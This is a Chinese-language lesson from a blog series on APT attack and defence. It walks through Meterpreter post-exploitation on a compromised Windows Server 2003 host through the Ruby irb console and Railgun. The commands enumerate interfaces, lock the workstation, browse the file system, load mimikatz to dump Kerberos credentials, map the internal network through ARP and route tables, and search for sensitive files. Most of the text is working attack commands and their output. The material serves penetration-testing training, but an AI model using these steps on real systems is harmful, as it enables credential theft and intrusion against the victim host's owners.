专注APT攻击与防御

https://micropoor.blogspot.com/

Railgun是Meterpreter stdapi的扩展，允许任意加载DLL。Railgun的最大好处是能够动态访问系统上的整个Windows API。通过从用户进程调用Windows API。

meterpreter下执行irb进入ruby交互。

基本的信息搜集：

1 >> client.sys.config.sysinfo['OS']

2 => "Windows .NET Server (Build 3790, Service Pack 2)."

3 >> client.sys.config.getuid

4 => "WIN03X64\\Administrator"

5 >> interfaces = client.net.config.interfaces

6 => [#<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Interface:0x000 055aee92c5770 @index=65539, @mac\_addr="\x00\f)\x85\xD6}", @mac\_name="Inte l(R) PRO/1000 MT Network Connection", @mtu=1500, @flags=nil, @addrs=["19 2.168.1.119"], @netmasks=["255.255.255.0"], @scopes=[]>, #<Rex::Post::Met erpreter::Extensions::Stdapi::Net::Interface:0x000055aee92c5220 @index=1, @mac\_addr="", @mac\_name="MS TCP Loopback interface", @mtu=1520, @flags=ni l, @addrs=["127.0.0.1"], @netmasks=[], @scopes=[]>]

7 >> interfaces.each do |i|

8 ?> puts i.pretty

9 >> end

10 Interface 65539

11 ============

12 Name : Intel(R) PRO/1000 MT Network Connection

13 Hardware MAC : 00:0c:29:85:d6:7d

14 MTU : 1500

15 IPv4 Address : 192.168.1.119

16 IPv4 Netmask : 255.255.255.0

17 Interface 1

18 ============

19 Name : MS TCP Loopback interface

20 Hardware MAC : 00:00:00:00:00:00

21 MTU : 1520

22 IPv4 Address : 127.0.0.1

23 => [#<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Interface:0x000 055aee92c5770 @index=65539, @mac\_addr="\x00\f)\x85\xD6}", @mac\_name="Inte l(R) PRO/1000 MT Network Connection", @mtu=1500, @flags=nil, @addrs=["19 2.168.1.119"], @netmasks=["255.255.255.0"], @scopes=[]>, #<Rex::Post::Met erpreter::Extensions::Stdapi::Net::Interface:0x000055aee92c5220 @index=1, @mac\_addr="", @mac\_name="MS TCP Loopback interface", @mtu=1520, @flags=ni l, @addrs=["127.0.0.1"], @netmasks=[], @scopes=[]>]

24 >> 25

锁定注销目标机：

1 >> client.railgun.user32.LockWorkStation()

2 => {"GetLastError"=>0, "ErrorMessage"=>"\xB2\xD9\xD7\xF7\xB3\xC9\xB9\x A6\xCD\xEA\xB3\xC9\xA1\xA3", "return"=>true}

3 >> 4

调用MessageBox：

1 >> client.railgun.user32.MessageBoxA(0, "Micropoor", "Micropoor", "MB\_ OK")

2

快速获取当前绝对路径：

1 >> client.fs.dir.pwd

2 => "C:\\Documents and Settings\\Administrator\\\xE6\xA1\x8C\xE9\x9D\xA 2"

目录相关操作：

1 >> client.fs.dir.chdir("c:\\")

2 => 0

3 >> client.fs.dir.entries

4 => ["ADFS", "AUTOEXEC.BAT", "boot.ini", "bootfont.bin", "CONFIG.SYS", "Documents and Settings", "Inetpub", "IO.SYS", "MSDOS.SYS", "NTDETECT.CO M", "ntldr", "pagefile.sys", "Program Files", "Program Files (x86)", "REC YCLER", "System Volume Information", "WINDOWS", "wmpub"]

5

建立文件夹：

1 >> client.fs.dir.mkdir("Micropoor")

2 => 0 3

hash操作：

1 >> client.core.use "mimikatz"

2 => true

3 >> client.mimikatz

4 => #<Rex::Post::Meterpreter::Extensions::Mimikatz::Mimikatz:0x000055ae e91ceb28 @client=#<Session:meterpreter 192.168.1.119:53 (192.168.1.119) "WIN03X64\Administrator @ WIN03X64">, @name="mimikatz">

5 >> client.mimikatz.kerberos

6 => [{:authid=>"0;996", :package=>"Negotiate", :user=>"NETWORK

SERVICE", :domain=>"NT AUTHORITY", :password=>"mod\_process::getVeryBasicM odulesListForProcess : (0x0000012b) \xC5\x8C\x10\xE8\x06\x84 ReadProcessM emory \x16 WriteProcessMemory \xF7B\x02 \nn.a. (kerberos KO)"}, {:authid=>"0;44482", :package=>"NTLM", :user=>"", :domain=>"", :password=>"mod\_process::getVeryBasicModulesListForProcess : (0x0000012b) \xC5\x8C\x10\xE8\x06\x84 ReadProcessMemory \x16 WriteProcessMemory \xF7B \x02 \nn.a. (kerberos KO)"}, {:authid=>"0;115231", :package=>"NTLM", :use r=>"Administrator", :domain=>"WIN03X64", :password=>"mod\_process::getVery BasicModulesListForProcess : (0x0000012b) \xC5\x8C\x10\xE8\x06\x84 ReadP ocessMemory \x16 WriteProcessMemory \xF7B\x02 \nn.a. (kerberos KO)"}, {:a uthid=>"0;997", :package=>"Negotiate", :user=>"LOCAL SERVICE", :domain=>"NT AUTHORITY", :password=>"mod\_process::getVeryBasicModulesList ForProcess : (0x0000012b) \xC5\x8C\x10\xE8\x06\x84 ReadProcessMemory \x16 WriteProcessMemory \xF7B\x02 \nn.a. (kerberos KO)"}, {:authid=>"0;999", package=>"NTLM", :user=>"WIN03X64$", :domain=>"WORKGROUP", :password=>"mo d\_process::getVeryBasicModulesListForProcess : (0x0000012b) \xC5\x8C\x10 \xE8\x06\x84 ReadProcessMemory \x16 WriteProcessMemory \xF7B\x02 \nn.a. (kerberos KO)"}]

7

内网主机发现，如路由，arp等：

1 >> client.net.config.arp\_table

2 => [#<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Arp:0x000055aee 7f5f6b8 @ip\_addr="192.168.1.1", @mac\_addr="78:44:fd:8e:91:59", @interface ="65539">, #<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Arp:0x00005 5aee7f5ee20 @ip\_addr="192.168.1.3", @mac\_addr="28:16:ad:3b:51:78", @inte face="65539">]

3 >> client.net.config.arp\_table[0].ip\_addr

4 => "192.168.1.1"

5 >> client.net.config.arp\_table[0].mac\_addr

6 => "78:44:fd:8e:91:59"

7 >> client.net.config.arp\_table[0].interface

8 => "65539"

9 >> client.net.config.routes

10 => [#<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Route:0x000055a ee789be58 @subnet="0.0.0.0", @netmask="0.0.0.0", @gateway="192.168.1.1", @interface="65539", @metric=10>, #<Rex::Post::Meterpreter::Extensions::St dapi::Net::Route:0x000055aee789a7b0 @subnet="127.0.0.0", @netmask="255.0. 0.0", @gateway="127.0.0.1", @interface="1", @metric=1>, #<Rex::Post::Mete rpreter::Extensions::Stdapi::Net::Route:0x000055aee78993b0 @subnet="192.1

68.1.0", @netmask="255.255.255.0", @gateway="192.168.1.119", @interface ="65539", @metric=10>, #<Rex::Post::Meterpreter::Extensions::Stdapi::Ne t::Route:0x000055aee786fec0 @subnet="192.168.1.119", @netmask="255.255.25 5.255", @gateway="127.0.0.1", @interface="1", @metric=10>, #<Rex::Post::M eterpreter::Extensions::Stdapi::Net::Route:0x000055aee786e9d0 @subnet="19 2.168.1.255", @netmask="255.255.255.255", @gateway="192.168.1.119", @inte rface="65539", @metric=10>, #<Rex::Post::Meterpreter::Extensions::Stdap i::Net::Route:0x000055aee786d698 @subnet="224.0.0.0", @netmask="240.0.0. 0", @gateway="192.168.1.119", @interface="65539", @metric=10>, #<Rex::Pos t::Meterpreter::Extensions::Stdapi::Net::Route:0x000055aee785be98 @subnet ="255.255.255.255", @netmask="255.255.255.255", @gateway="192.168.1.119", @interface="65539", @metric=1>]

11

实战中的敏感文件操作，也是目前最稳定，速度最快的方式：

1 >> client.fs.file.search("C:\\", "\*.txt")

更多的敏感文件操作，后续补充。

更多相关的api操作在未来的课时中介绍。

Micropoor